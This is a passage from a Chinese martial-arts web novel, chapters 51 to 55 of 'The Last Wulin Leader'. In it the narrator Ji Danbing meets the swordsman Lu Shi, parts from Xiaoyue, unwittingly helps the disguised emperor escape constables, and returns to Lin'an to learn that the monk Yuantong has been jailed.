我猜测眼前的这个人,应该就是陆石。我向门外张望,不见陆游的身影,心想定然是陆石接到了陆游的消息,所以先行赶来抢救小月。 我莫名一阵紧张,心里砰砰直跳。但随即我又开始疑惑,他真的是陆石吗?为何这次,他没有说那句“是你!”“你怎么会在这里?”。 他看我的眼神,完全像在看一个陌生人。 “我问你话呢?”他开始咆哮,“是谁把她伤成这样?” 我说:“是陈伯洋。” 那人突然面如死灰,喃喃道:“是,是括苍派的那个吗?” 我点了点头,他忽然泪如雨下,抱住小月失声痛哭:“女儿啊!为父不能为你报仇雪恨了!我可怜的女儿啊!” 他竟然是小月的爹。 “别嚎了!” 一声呵斥从门外传来。一阵急促的脚步声后,陆游出现在我的面前,站在他身旁的是一个五十几岁,头发花白,表情十分严肃的老者,他冷峻的目光先看了一眼小月和她爹,而后又扫过了我。 他与我四目相对,忽然表情凝固了。 我的心骤然紧缩在一起,血液仿佛瞬间冲上了头顶,一阵晕眩! 是他! 不会再错了! 当我接触到那老者眼神的一瞬间,我无比确认,他就是那个黑衣人,他就是杀死了圆信的人。 “怎么又是你?”他开口问我。 我感觉自己全身上下每一处都在颤抖。 我为什么要颤抖? 我不应该颤抖的。虽然,我亲眼目睹他杀死了圆信,但他此刻却没有丝毫要杀我的意思。 然而,我依旧不可抑制的颤抖着。 陆游惊愕地看着我们,问:“叔父,你认得他?” 如我长久猜测的一样,他真的就是陆石! 陆石盯了我很久,忽然摇头,缓缓地说:“不是,虽然很像,但他不是!” “你们能不能先救我的女儿?!”小月的爹愤怒地吼着。 沉思中的陆石被他吓得抖了一个激灵,当即歉意道:“抱歉,抱歉了肖兄。” 肖兄? 原来小月姓肖。 也就是,那日她在桌子上写下的字,并不是小月,而真的就是个“肖”字。 我并没有认错。错的是李小谦,自作聪明的李小谦。 由此可见,人应当坚持自己所认为的,若盲目听信别人,而不加印证,或许会错失了对的答案。 第一卷 最后一个武林盟主 第五十一章 陆石 小月的伤虽然很重。但是陆石的内力更加深厚。 陆石双手搭在小月的肩膀上,盘膝而坐,半个多时辰没有动弹,只看见他头顶生烟,额头冒汗。 我问陆游:“他在干什么?” 陆游嘘了一声,轻声说:“叔父在用内力为师妹疏通经络。” 我不解:“这样小月就能活过来?” 陆游点了点头,说:“血脉通畅了,自然就能排出淤血,逐渐康复。” 我指着李小谦,问:“他是不是也要用内力通一通?” 陆游说:“他不能通。” 我问:“为什么?” 陆游说:“他本来就有外伤,如果再通,便会血流不止。” 这时,陆石收起手掌,起身擦去额头的汗珠,因为持续运转内力为小月疗伤,他的脸上呈现出一片青紫之色。 小月依旧昏迷未醒,但从脸上重现的血色可以看出,她已无大碍。 陆石拖着疲惫的身子,坐在桌前。老郎中或许出去好奇,把了把小月的脉,眉头一皱,发出“嘶”地一声疑惑,说:“神了!既不下针也不用药,只拿手在肩上放了半个时辰,竟能叫枯木生华,人死而复生!这是什么道理?!” 所有人都没有理会。 老郎中眯着眼睛,仔细查看着小月的伤情,满脸都是不可思议的表情。 陆游端过一盏茶放在陆石的面前。他接过茶水,轻轻抿了一口。忽然,他瞥了我一眼,或许是发现了我正在盯着他看,冲我微微一点头,说:“你可是认出我了?” 我心里一阵紧张,颤巍巍的回答:“是。” 陆石问:“月儿是你送来的?” 我说:“是。” 陆石说:“我为她疗伤之时,发现她有多处内伤。除了被陈伯洋内力震伤之外,还有几处十分蹊跷的……” 他话说了一半,我一颗心已提到了嗓子眼。不错,另外几处是被我摔出来的。但我不敢说。 陆石微微一笑,似乎并不把此事放在心上,他话锋一转,说:“我听游儿说,你们已经去过少林寺了。” 我说:“不错。” 陆石问:“也见过圆智了?” 我说:“见过了。” 陆石问:“那么,你也应该知道我为何会杀圆信了?” 我点了点头,说:“因为他们勾结金人。” 陆石说:“不仅如此,圆信在完颜兀术军中所领千夫长一职,仅凭此一点,他就已经该死了。” 我大惊。原来圆信还在金人那里做了官。自从靖康之年后,每一名宋人心中都深深地植入了对金人的仇恨。少林派更是毁在金人的手中,若圆通知道了他的师弟勾结金人,又在金人那里做了官。不知他还会不会如那日火葬圆信时一样悲伤。 听了陆石和我的对话,陆游才恍然大悟,说:“难怪姬兄弟以为是我杀了圆信,原来是叔叔……” “不错。”陆石微微点头,忽然他表情一滞,盯着我问:“你姓什么?” 我说:“我姓姬。” 陆石眉头一皱,摇了摇头,喃喃道:“莫非只是巧合?世间还真有长得如此相像之人。” 难道陆石只是认错了人这么简单吗?那他所说的那个和我长得很像的人又是谁? 我忽然感觉,因为圆信之死所引发的谜团似乎无休无止了。当我好不容易解开一个,另一个便随之而来。 我问:“和我长得像的人是谁?” 陆石目光深邃,似乎陷入回忆,淡淡地说:“是个故人!” 故人? 什么样的故人?! 我还没来得及追问,陆石又问了一遍:“你真的姓姬?”似乎他对我的姓氏仍有疑虑。 我坚定地说:“是” 陆石端起茶杯,又问:“叫什么?”说罢,他喝了一口水。 我说:“叫旦丙!” “噗!” 一大口茶水从陆石的嘴里喷了出来,喷了陆游一身,茶水在他淡蓝色的衣裳上迅速晕开,还冒着热气。陆石一边忍着笑,一边剧烈地咳嗽,想说话,却又说不出来,只是一味地向我摆手。 “姬,姬,姬旦丙?!哈哈……”小月的爹也忍不住地笑。 陆游原本已经习惯了。但此时,他俩都在笑,陆游也忍俊不禁,笑出声来。 我既感觉愤怒又觉得羞愧。这个名字,永远都是我痛处,别人的笑料。 陆石强忍着笑,说:“抱歉,呵呵,小兄弟,呵呵……我……哈哈哈哈……” 看得出他想要控制自己的情绪,但还是没有忍住。 我更感愤怒,只觉得全身血液直冲头脑而去。我随手抓起桌上的一个茶壶,“啪”的一声砸在地上,大叫:“笑什么笑!” 老郎中“哎呦”一声,跑到我的跟前,蹲下身子,一片一片地拾着地上的碎片,几乎就要哭出来了:“哎呦我的亲娘啊!这可是定窑的壶啊!几十两银子啊!” 他拢了半天,发现那把壶已经被我摔得粉碎,完全没有抢救的可能。他“腾”地站起身来,双目通红,表情狰狞,一把揪住我的领口,叫道:“好你个姬旦丙,你赔我的壶!” 我刚刚因为名字被人嘲笑,此时他又要提我名字。我只觉得血液从大脑涌到拳头,当即一拳挥了出去,结结实实地打在了那老郎中的面门上。 老郎中惨叫一声,一个踉跄倒栽在地上,鼻孔处血涌如注,大叫:“救命啊!杀人了!姬旦丙杀人了!” 他竟然还提我名字! 我箭步冲上前去,揪起他的衣领,抬起拳头,作势要打。 忽然,一个有力的手死死攥住我的手腕。我扭过头去,怒目直视,只见陆游傲然现在我的身旁,表情严肃,喝道:“你要做什么?!” 我大喊:“我要打死他!” 陆游厉声说道:“胡虏不除,却同胞相残,是何道理?!” 他娘的,老子打个人你也能扯到国家大事上。我心里骂着,但嘴上却不能这么说。 因为陆游是朋友。更重要的是,他武功高强。 我被迫放下了拳头,狠狠地看着在场的所有人,恨不得把他们一个个全都暴打一顿。陆石的表情很尴尬,他咳了一声,说:“小兄弟不要怪罪,是谁给你起了这样的名字?” 我说:“是我师父。” 陆游问:“你师父是何人?” 我说:“他叫陈八矛,已经死了很多年了。” 陆石又问:“你父母呢?” 我一阵酸楚,低声回答:“也死了。” 陆石点了点头,满脸同情,说:“今日相识也算有缘。日后若有难处,尽管找我。” 说罢,他从怀中掏出一锭银子,如拳头般大小的一锭银子,送到哇哇直叫的老郎中手中,说:“这是一百两,算是我替这位小兄弟的赔礼。” 老郎中一面收起银子,一面喃喃抱怨:“有钱就能无法无天吗?!” “咳咳。” 这时,一声女子的轻咳声出来。我们所有人目光齐刷刷地看向小月。只见她眉头紧蹙,表情十分痛苦,微微睁开迷离的双眼,气若游丝地说:“水,水……” 我大喜,慌忙抢过陆石的茶杯,凑到小月身边,将水缓缓顺入她的口中。我激动难耐,手有些颤抖,一不小心将一大口水倒入小月的口中。 小月被呛得剧烈咳嗽起来。 我赶忙用手在小月的胸口想下推顺。然而,触手之处,如一团棉絮,十分柔软。我这次感觉不对,登时脸颊一热。 但我还没来得及把手拿来,只感觉一股大力撞在腰间。是小月的爹一脚将我踹倒外地,他瞪着双眼,似乎是要吃了我一般,大声喝道:“淫徒,竟敢沾我女儿的便宜。” 我急忙解释:“我没有,我只是……” 话还没说完,紧接着,他一个耳光扇到我的脸上。我感觉,脸颊更加火热。 第二个耳光正要落下之时。却听见小月轻声地喊道:“姬,姬旦丙!” 小月并没有醒过来。她仍旧紧紧地闭着双眼,嘴唇微动,声音轻柔,却很迷离,犹如梦呓。 所有的人都怔住了。 我也怔怔地看着小月。 她,这是在梦里叫我的名字吗? 第一卷 最后一个武林盟主 第五十二章 告别 在这个小镇上,一住就是二十天。 虽然陆家山庄离这个小镇并不远,但顾及小月与李小谦的伤势,陆石仍旧要求我们不要带小月行走。因此,我们还是住在那家医馆。为了能住在这里,陆石又给了那个老郎中一百两银子。 不得不说他真的是一个很有钱的郎中。他那看似毫不起眼的医馆后面竟然是一个方圆几十丈的庭院。 院子里三排屋子整齐排列。院子中央假山、水池,以及休憩的小亭子,应有尽有。 “你家的院子真大!” 我感慨。因为我也想有一间这样的院子,一些银子,一个妻子,一个孩子。这一直都是我所向往的生活。 老郎中很自豪,他说:“那是自然,老夫也是十里八乡有名的郎中。无论寒热癔症,跌打扭伤,还是产妇临盆,全都来请老夫出马,时间久了自然能挣下这份家业。” 我大惊:“你还会接生?” 老郎中脸色一变,吼道:“我一个大男人,谁谁找我接生?!当然是找我内子了!” 他目光一转,看相陆石,目光中竟然有一些贪婪,说:“这位高人若肯把那起死回生的本领教给我,老夫愿意将你给的银子双倍奉还。”他的手中掂着那二百两银子。 陆石笑了笑,说:“若你再年轻二十岁,我或许可以考虑收你为徒。” 老郎中白了陆石一眼,不屑的眼神中却又带着不甘。他说:“不交便不交,何必拿老夫的年纪打茬?!”他指着西侧的几间房,说:“你们就住那里吧!东边那个屋子还放了一些侵泡的药材,你们不要乱动,坏了药性,可不是一百两银子能赔得起的。”说罢,他扭头离开了。 小月的伤很重。但她的伤却好得很快。或许是因为原本就有武功功底的缘故,又或许是陆石浑厚的内力使然。她比李小谦醒来的晚,却比他早两天下床。 小月下床之后干的第一件事就是把我打了一顿。 当时,我正在房中小憩,她一脚将门踹开,箭步上前抓住我的衣领,一拳砸在我的脑袋上,骂道:“你个臭小子,这一路,你到底摔了我几次?” 我很惭愧,低头默然无语。 她又打了我一拳,说:“不说话?你以为这样就可以躲过去吗?” 我摇了摇头,慌乱地解释:“我一时没有抱住……” 小月“啊”地叫了一声,一把揪住我的耳朵,狠狠地说:“没抱住?你什么意思?本姑娘很重吗?”她的手很柔,很软,就像是一床丝织的棉被,还带着恰到好处的体温。 我强忍着疼痛,尴尬地笑着说:“不重,一点儿都不重。” 小月说:“那你为什么要摔我?莫非你是有意的?” 我当然不是有意的。她那么美,如果有可能,我情愿一直抱着她,永远不要撒开。 我说:“不是,我只是……”我不知道要如何表达心里的感受,看着她气愤的样子,我惭愧的更加无言以对。 忽然,小月突然笑了。她的笑甜美而又带着俏皮。 “姬旦丙!”小月叫着我的名字,说,“我记住你了,这笔账以后会慢慢跟你算的。走着瞧!”说罢,小月扭头离开了。 我看着小月离开的背影,突然感到一种前所未有的甜蜜。似乎那是一种由心底而发的喜欢。只对这个背影,这个姑娘。 难道我对小月竟有了情意? 如果是这样的,那娄琴怎么办? 我要如何报答她赠送九郎剑的深情? 娄琴。小月。她们两个完全不同。 一个风情万种,无时不刻,不给我像姐姐一样的关怀。 一个俏皮可爱,桀骜不驯,美丽得让我难以自持的心动。 自从那日我无意碰到小月的酥胸之后,小月的爹就像防贼似的防着我,在他的眼中我已然成了淫(脱敏)荡下流的登徒浪子。只要他见到我靠近小月的房间,便立刻瞪起要吃人的眼睛,仿佛是在说:“再敢靠近我女儿一步,我就宰了你!” 我只是想关心一下小月的伤情,他却也只是说:“与你无关。” 小月的爹名叫肖迎儒,他并不是江湖中人,他只是一个商人,一个自己不懂武功,却在福建开了二十几家武馆的商人。 肖迎儒喜好结交江湖人士。他武馆的武师都是来自各门各派的高手。几年前,他偶然间与陆石相识,两人相谈甚欢,便索性叫小月拜陆石为师,成了陆游的师妹。 当然,在当时,我并不知道这些事情。这些事情也都是后来小月告诉我的。 然而放在我眼前的事情是,小月的爹姓肖,小月自然也姓肖。但是,她未必真的就是“小月”。 我问陆游:“小月叫什么?” 陆游怔了怔,随即把手放在耳边,仿佛是在倾听什么。半晌,他说:“没有啊!我没听到啊!小月什么时候叫了?!” 我没好气的说:“我是问小月的名字叫什么?” 陆游“哦”了一声,说:“我还没有问过。” 我问:“你叫小月什么?” 陆游说:“我叫师妹!” 我总不能管小月叫师妹吧。那样陆石岂不成了我的师父,而我平白又多出一个像陆游这样的师哥。 最重要的是,他们并不会接受我。 我说:“我想知道小月叫什么名字?” 陆游说:“你自己去问小月就好了。” 我不敢去问。我突然间很害怕见到小月。我害怕看到她俊俏的脸,俏皮的眼神。每次见到她,我的心都会像受到惊吓一样砰砰乱跳,脸颊就会发烫,言语就会错乱。 陆游问我:“你是不是喜欢小月?” 我连忙解释:“我没有,我真的没有。”我使劲的摇着双手,频频点着笃定的头,唯恐陆游会真的以为我喜欢小月。 陆游狡黠地笑着,说:“那你急什么?” “我,我只是……”我突然语塞,随即沉默。 我只是什么? 我问自己。却没有得到答案。 在医馆住了二十天之后。我和小月终于分道扬镳。她与肖迎儒、陆石同回陆家山庄,而后再回福建。 我与陆游还有李小谦,要一同前往临安府。陆游赴京赶考,我与李小谦向圆通复命。 临行之时,陆石将我和李小谦单独叫到一旁,将一封密封好的书信交给了李小谦。他说:“事情经过我皆以写在其中,当日截杀圆信,实属情非得已,请你代我向圆通大师致歉。” 李小谦收起书信,微笑着行礼,看起来十分恭敬。他说:“前辈,我有几件事,思前想后都不明白,还请告知。” 陆石说:“请讲。” 李小谦问:“既然圆信勾结金人,前辈除他自是替天行道。既然是替天行道,却为何会穿了一身夜行衣?既然是替天行道,又为何在我师父赶到时不当年解释却要掉头离开?” 对呀!为什么? 这些细节,我根本没有想到。 李小谦一番话勾起了我强烈的好奇心!我顶着陆石,期待着他的解答。 但是,陆石淡然地看着李小谦,许久,他眯起双眼,微笑着问:“你以为是为何?” 李小谦微微一笑说:“我不知道。但我也不想知道。我只是向前辈随口一问。原因并不重要,结果才重要,您觉得呢?” 陆石微微地笑着,忽然,我感觉他双目之间略过一丝冷冷地杀意,稍纵即逝。 我感觉他两人的对话很有深意,似乎在隐藏着什么重要的信息。但是,我听不明白。我问:“你俩是什么意思?” 李小谦没有理我。陆石也没有理我,但他对李小谦说:“有时候太聪明了未必是好事。” 李小谦说:“并非是我太聪明了,而是前辈有些事情思虑得不是很周全。”说罢,他郑重鞠了一躬,说:“在下,告辞了。” 我感觉他们而是分明就是在打哑谜,便问:“到底是什么……”话还没说完,便被李小谦强行拉走了。 第一卷 最后一个武林盟主 第五十三章 皇上 再过三十里,我们就要回到阔别已久的临安府。 为照顾李小谦的伤势,我们买了一辆牛车,一直缓慢行进。 傍晚,我们到了临安城外的一个小镇上,寻了一家上好的客栈歇脚。 关于李小谦的伤势,我一直百思难得其解。起初他晕倒的时候,他的腹部并没有插着一柄刀,并且我分明听到他说了一声“靠”。 我可以确认,最初李小谦的确是在装死。我问李小谦:“那柄刀到底是什么时候插到你身上的?” 李小谦用眼角的余光切了一眼身旁的陆游,说:“船刚靠岸,我就看到白光一闪,接着我就晕过去了。” 我说:“不可能。” 当时我就在他的身旁,我怎么没有看到白光一闪?! 李小谦说:“刀又没插在你身上,你怎么知道不可能?” 这个问题我们争执了很久,最终都没有答案。因为答案只有李小谦自己知道,他不说,我们无可奈何。 月夜。月光格外清朗,所有的星星都黯然失色。 这夜我辗转难眠,最近发生的太多事情,让我理不清头绪。所有的谜团一个接着一个,尤其是李小谦与陆石的对话,让我感觉到圆信的死似乎另有隐情。 我心乱如麻,趁夜独自在小镇清冷的街道上闲逛。 夜间的小镇上空空荡荡,不见人影。银色的月光洒下,给小镇披上一层青纱,就像是一双温暖的手,给小镇盖上了一层薄薄的被子。 我望着前方,朦胧而深邃。每当这种时候,我都会感到一种强烈的孤独。 但这个孤独并没有持续太久,便被幽深的小巷里传来的一声历喝击碎。 “站住,别跑!” 这是一个浑厚的男子声音,声音里带着愤怒。紧接着是一阵急促的脚步声。 “踏,踏,踏,踏………”听起来好像有很多人。 我身旁的酒馆门口放着一个半人高的水缸,我慌忙蹲到后面躲了起来,探出半个脑袋窥视。 不一会儿,巷口处蹿出明明晃晃的十几个人。一个男子在前面极力的奔跑,却还是被后面的几个壮汉追上,团团围了起来。 月光照亮那男子,他莫约三十几岁,一身青衣,身材高挑,剑眉星目,脸颊棱角清晰,十分英俊。他目光扫过众人,临危不惧,颇有傲视天下的气魄。 “好小子,看你人模狗样,怎么尽做些偷鸡摸狗的事?”一个汉子站出来呵斥。 那男子冷冷一笑,说:“我偷鸡摸狗?你有何凭证?!” “哼!”那汉子说,“近日镇上接连发生入室盗窃案,我已经在此蹲守了好几日,今日在沈家门口,见你偷偷摸摸贼眉鼠眼的,意欲翻墙而入,不是窃贼又是什么?” 那男子朗声大笑,说:“翻墙便是窃贼?你怎么不说你们追我就是强盗?你不问前因后果,只凭当时臆断,这便是你们官府办案的行事作风吗?” 我这才注意到,那些人衣着统一,皆是官府差役的装扮。 那差役又说:“跟我到衙门去说吧!” 那男子冷哼一声,说:“只怕你有命请我,没命送我。” 这个人说话如此的狂妄,竟然不将官府的差役放在眼里,我突然好奇,他到底是什么人? 那个差役有些不耐烦了,他向身边的人一挥手,说:“把他带走。” 话音刚落,几个壮汉手里拿着绳索上来就要捆绑。 那男子冷冷的一脚,竟同时将两个壮汉踢得倒飞出去。 我当即惊讶。如此强悍的力量,精妙的腿法,想必这名男子也是一个武林高手。 十几个大汉齐喝,一拥而上。月光下,男子脚踏降龙踢斗式,手拿博虎鹰爪功,怒视众人,满脸都是泰山崩于前而不乱的镇定。 场上一片混乱,尘土飞扬,一阵叽里呱啦的打斗之后,那男子被十几个人齐手按倒在地上。 那男子仍不服气,大吵大叫:“吃了雄心豹子胆,竟然敢跟我动手,你们知不知道我是谁?!” 一个差役伸手就是一巴掌,甩在他的脸上,啪的一声,脆响的声音在夜里回荡。 男子大叫,似乎受了极大的侮辱一样,他喊:“你死定了!你死定了!” 不知为何,我突然很想救他。 有一种强烈的感觉告诉我,我应该去救这个素未平生的男子。 不假思索,我大吼一声,用力推翻了身旁的那口水缸。 “哗啦”一声。 水缸在地上摔了个稀碎,半缸的水,淌了一地。水流在地上映着天空的月光,粼粼闪动,就像是撒了满地的珠宝玉石。 然后呢? 我根本没有想好,然后要怎么做。 然而,我却已经将自己暴露在众目睽睽之下,所有的目光齐刷刷地看一下我。我感觉自己就像被扒光了衣服一样杵在他们面前,被人一览无余。 慌乱无措!这是我此刻最真切的感受。 “你是……” 一个差役刚开口,话都没有说完,那名男子便已利用了这片刻的喘息之机来了一个鲤鱼打挺,将按着他的十几名壮汉尽数抖开,随后又是一记原地横扫,哗啦啦放倒了七八个人。 随后,那个男子站起身来,一个箭步向我冲来。 我看他神情严肃,目光凛然,以为他要恩将仇报,慌忙抱头欲蹲在地上。 没想到我刚蹲到一半,就被一只手大力拎了起来。 “快跑!” 那个男子大喊一声,拽着我蹿进了另一条小巷。我被他拽着,感觉自己双腿在不由自主的倒腾,那频率已远胜过我以往任何时候的奔跑。 因为奔跑,在宁静的夜里兜起了呼呼的风,擦过我的耳际。 身后有人大喊:“站住,别跑!” 身后还有人喊:“是哪个挨千刀的砸了我们家水缸?!” 两股声音交错在一起,在夜空中回响,却最终淹没在耳畔的风中,渐行渐远。 因为奔跑,我感觉自己用尽了所有的力气。直到最后我再也撑不住了,才强行甩开那男子的手,喘息着说:“不,不行啦!我,我实在是跑不动了!” 那名男子向后张望,看着我们一路跑过的小巷,幽深而不见边际,他重重呼了一口气,说:“总算是跑掉了。若被人知道朕出宫猎艳,恐怕又是一场不小的是非!” 朕?! 我的心脏猛然跳动,急速的跳动。这跳动与刚才的狂奔无关,完全是这名男子的话,吓到了我。 我说:“你刚才说什么?” 那男子表情一滞,忽然变得异常严肃,他冷冷的说:“你听到了什么?” 我怔怔地望着他,心几乎要跳出了喉咙,我清晰地听到自己的声音在颤抖:“你刚才说‘朕’?!” 那男子的目光忽然变得很冷,说:“然后呢?” “出宫猎艳!”我说。 他一把掐住了我的喉咙,用威胁的口气说:“你若敢说出去,信不信我杀了你?!” 我被他掐的说不出话来,只得连连点头。他手上一松,忽然笑了,说:“当然你今夜帮了我一次,我也不会亏待了你。今后定会有你的好处。” 我问:“你是皇上?” 他急忙做了一个噤声的动作,慌乱地四下张望。最后,他笑吟吟地问我:“告诉我,你叫什么名字?” 我说:“我不想说!” 他眉头一皱,呵斥:“你敢抗旨?!” 据说,抗旨是死罪。我不想死,我说:“我叫姬旦丙!” 不出我所料,皇上笑了,笑得眼泪都出来了,他说:“朕喜欢!”随后,他身子一纵,越上一道矮墙,蹲在墙头,他说:“日后,我们会再见的!” 皇上走了。 但正如他所说的那样,我们会再见的。 而再见,将是我,还有这个江湖,所有悲剧的起点。 第一卷 最后一个武林盟主 第五十四章 入狱 当我回到客栈时,陆游正焦急地站在门口张望。 他看到我,疾步迎上,问:“姬兄,你去哪里了?” 我看他神情急切,以为又发生了什么事情,慌忙询问:“怎么了?” 陆游说:“方才我见你不在房间,恰好又听见门外有差役在大喊抓人,担心你出什么事情,正准备出门寻你呢。” 我心里一阵温暖,说:“我没事。” 陆游说:“我总觉得这镇上不甚平稳,怕再有是非。适才我去看过李兄,他身体尚可,不如我们连夜赶路回临安吧,以免夜长梦多。” 我说:“好。” 我当然觉得这样很好。刚才在巷口的遭遇至今让我惴惴不安。我只是无心睡眠,想出去逛逛,不想却无端地碰见了皇上,虽然在百姓的口中他并不是一个好皇上。但他毕竟也是九五至尊,比武林盟主更加高不可攀。 我很惶恐,而且慌乱,只怕躺在床上也是辗转难眠。何况,刚才我已经暴露在差役面前,恐怕他们现在满镇搜捕的不仅是皇上,还有那个砸了水缸,放跑皇上的我。 年迈的老牛迈着沉重的步子,拉着破旧的板车,带着我们三人,披着月色,在前往临安府的路上颠簸着。 我躺在硬邦邦的木板上,仰望天空的明月。 天空,白了,又黑了。 圆月,落了,又升起。 又是一个月夜。 我翻下牛车,抬头望着娄琴客栈的招牌,心中一阵激动。门口两个照明的灯笼,散着微微的红光,在夜风之中轻轻摇曳,仿佛是娄琴的两颊的腮红。 终于回来了。 “靠!”李小谦牵着牛,叫道,“这是什么东西?!” 我循声看去,娄琴客栈的门口不知何时多了一个木桩。 但那绝不是普通的木桩,它一尺多高,如大腿般粗细,却笔直地插入地面。这木头通体呈现暗紫色,表面凹凸不平却油光发亮,在月光照耀下,更显得光润明亮,仿佛每一道木纹里都能挤出油来。 我走过去仔细查看,却见木桩一侧贴了一张字条。 那是娄琴的字。 娟秀而丰润饱满,就像她曼妙的身姿,让人忍不住想要摸上一把。 “贵重物品,勿栓牲口!”我轻声念道。 李小谦一把撕下纸条,将牛绳套在木桩上,说:“一块破木头,给盘成这样,谁这么闲?!” 我问:“什么叫盘?” 李小谦将牛绳拴好,疲惫且饥饿的老牛果然开始舔舐那根油亮的木桩。他呼了一口气,说:“怎么说呢?盘就是摸,逮住一个东西使劲地摸,久而久之这个东西就会变得像锃光发亮,就像这块木头一样。” 我“哦”了一声,忽然想到了圆通,他那一抹雪亮的光头仿佛在我面前闪耀。我说:“圆通的头也是这么盘出来的吗?” 李小谦一怔,随即哈哈大笑,接着他捂着腹部的伤口,表情痛苦却仍然抑制不住地笑。 我问:“你笑什么?” 李小谦边笑边点头,说:“对,对,对,圆通的头也是这么盘出来的。你要不要也盘一个?哈哈哈......” 他肆无忌惮地笑着,不一会儿,李小谦的伤口就渗出了血。 真的有那么好笑吗?我不解。 李小谦见伤口出血,笑声戛然而止,怒道:“好你个姬旦丙,老子的伤口二十多天都没崩开,已经愈合了倒让你给崩开了!” 这事能怪我吗? 陆游一听到李小谦的伤口崩开了,慌忙跑过来,他揭开李小谦腹部的衣裳,查看了一番,说:“并无大碍,但李兄还是小心才是。” 正说话间,门“吱呀”一声开了。 站在门口的,并不是娄琴,而是一个身穿黄色道袍的道士,他两撇小胡子在嘴边静静地躺着。 “王.....”我忘了他的名字,但我记得他的道号,“重阳子?!” 他呵呵一笑,嘴上的两撇胡子开始翩翩起舞:“高人!你可回来了!”他快步上前抱住李小谦,激动之情溢于言表。 很快,汤明法与娄琴的身影相继出现。他们看到我们都是十分喜悦,但不知为何,总感觉他们的眉间锁着意思忧虑。 “这是怎么了?”或许李小谦也发现了他们神情中的异样,开口询问。 娄琴叹了口气,说:“进来再说吧。”她刚要转身,发现了正在啃咬木桩的老牛,扭头向屋内大喊:“来人!把那畜生弄走!” 一个伙计屁颠屁颠地从屋里跑了出来,站在门口,逐一打量着我们。,许久,他小心翼翼地询问:“娄姐,弄哪个畜生?!” 娄琴指了指木桩上拴着的老牛,店伙计恍如大悟,屁颠屁颠地解开牛绳,拉扯着依依不舍的老牛向后门走去。 娄琴客栈里。熟悉的厅堂,熟悉的桌椅,熟悉的一切。 坐在屋里,我感觉疲意全无,心中惬意,浑身上下十分舒爽。 但,很快,我便发现娄琴客栈的气氛异常的严肃。汤明法、重阳子,还有他们的两个四个兄弟都在娄琴客栈里,所有的人都绷着脸,表情凝重,似乎有大事发生。 “到底怎么了?”李小谦问。 娄琴说:“圆通被官府抓了。” “什么?!”我和李小谦几乎同时站了起来,叫道。 陆游也一脸焦急:“官府为何抓人?!” 娄琴说:“官府说,圆通大师未经批准私自建设寺庙。并且他近日收了几个弟子,私自剃度,有违律法。” 李小谦瞪大眼睛,说:“还有这样的规定?” 重阳子说:“高人如此渊博,难道不知道律法中有此一条?” 李小谦喃喃自语道:“老子是学中文的,又不是学历史的。” 重阳子一脸懵懂,问:“高人何意?” 娄琴说:“先不要讨论这些没用的,当务之急是如何解救圆通。” 是啊。圆通入狱了,这意味着禅慧寺毁了。我和李小谦的一成香火钱也没了着落。 “能如何?!”重阳子叫道,“当日我接到娄老板穿信说高人的师父被捕入狱,我连夜叫了兄弟们前来,只等高人一句话,贫道及众兄弟身先士卒,甘为差遣。” 自从李小谦给了重阳子一个“唉嘶必”之后,他便认定了李小谦是学识渊博的高人,满心敬仰,甚至要为他出生入死,在所不惜。 李小谦有些不好意思了,说:“别,别,王真人,这个人情我可还不起。” 重阳子还想说,但却被汤明法打断了,他说:“大家不要急躁。眼下圆通大师虽然入狱,但并无性命之忧,我们若过于冒进,只怕会害了大师。” 陆游说:“这位兄台所言甚是。家父在临安府有些故交,不如明日我去拜访几位,打探一下消息,再设法营救不迟。” 众人相互对视一番,纷纷点头。 陆游看着李小谦,问:“李兄意下如何?” 李小谦说:“有劳陆兄了。” 圆通的突然入狱,让我们原本欢快的心情变得有些沉重。这夜,娄琴张罗着我们住在客栈之中。 躺在柔软而舒适地床上,久违的亲切感原本应当让我感受到可贵的幸福。 但是,这个夜,却注定沉重而又漫长。 第一卷 最后一个武林盟主 第五十五章 死罪 天色初蒙,陆游便急匆匆地出去了。 我们所有的人都在娄琴客栈里静静地等待着陆游回来,焦急却又无所适从。 直到晌午,陆游仍旧没有回来。 但是娄琴客栈却陆陆续续来了很多客人。娄琴心烦意乱,起初她不愿接待。 然而,无奈的是,有几个执着的客人把在门口不愿离开,时间久了,连上围观的群众,娄琴客栈便被围了个水泄不通。不知者站在门口,还以为是发生了什么大事。 娄琴无奈只得差人,开门营业。 娄琴客栈一扫冷清,又恢复了往日的忙碌。我看着进进出出的食客,突然觉得无比亲切。 这才是娄琴客栈应有的样子。 “你听说了吗?”一个桌上的客人对另一个客人说,“武林盟主白景行到了临安府啦。” 白景行! 听到这个名字,我心头一震。踏破铁鞋无觅处,这个老酒鬼竟然来到了临安。 我我转身望去,那两个人桌上各自放了一把剑,一看便知,乃是江湖中人。索性,我站在一旁,静静听着两人的谈话,不为其他,只为了能从中听到有关于白景行的消息。 我要找到他,要回我的剑。 “武林盟主?”另一个人疑惑不解,“他来临安府干什么?” “据说是要面见皇上!”那人回答。 另一个人又问:“那狗皇帝有什么好见的?” “嘘!”那人压低了嗓子,说,“说话小心些,你不要命了。”他四下张望,看到我在他旁边偷听,满脸不悦,喝道:“你在这里干什么?” 我说:“我想知道白景行在哪里?” 那人冷笑一声说:“你一个跑堂的伙计,也关心江湖之事?去去去,不要捣乱!” 我说:“我没有捣乱,我要找白景行。” 另一个人砰的一声拍了桌子,叫道:“你是什么东西?武林盟主白大侠的名讳也是你能直接叫的?” 我不叫他白景行叫什么?难道也要像别人一样叫他白盟主?白大侠?白掌门?或者像李小谦那样叫他前辈吗? 我不是江湖中人。我不欠他什么,他却欠我一把剑。 那人问我:“你找白大侠做什么?” 我说:“他抢了我的剑!” “笑话!”另一个人怒道,“白盟主神功盖世,品德高尚,怎么会抢你的剑?!” 我说:“这事与你无关。” 我又问:“你到底知道不知道他在哪里?” 那人笑了,说:“此刻怕是在行宫之中面见皇上,有本事你便去寻他。” 这时候娄琴走了过来。她慌忙将我拉到一旁,小声说:“你又要惹事?”说罢,便向那两位客人连连道歉,拉着我进了后厨。 娄琴问我:“你与他们说什么?” 我说:“我想知道白景行的下落。” 娄琴忽然怔住了,她的肩头微微一颤,似乎白景行这个名字对她来说具有极大的震撼力。 “你,你找他做什么?”娄琴问。 我本不想告诉娄琴。我想找个机会悄无声息的将九郎剑拿回来,就当是那把剑从来没有丢失过。但如今这件事恐怕瞒不过去了。我只得歉意地说:“他拿走了你的剑。” “剑?”娄琴不解道,“什么剑?” 我说:“就是你送给我的那把九郎剑。” 娄琴一怔,又问:“他?他拿那把剑做什么?” 我说:“他说要给那把剑解毒。” 娄琴的表情忽然凝固了,不一会儿,她又笑了,说:“这个老东西,可真爱多管闲事。” 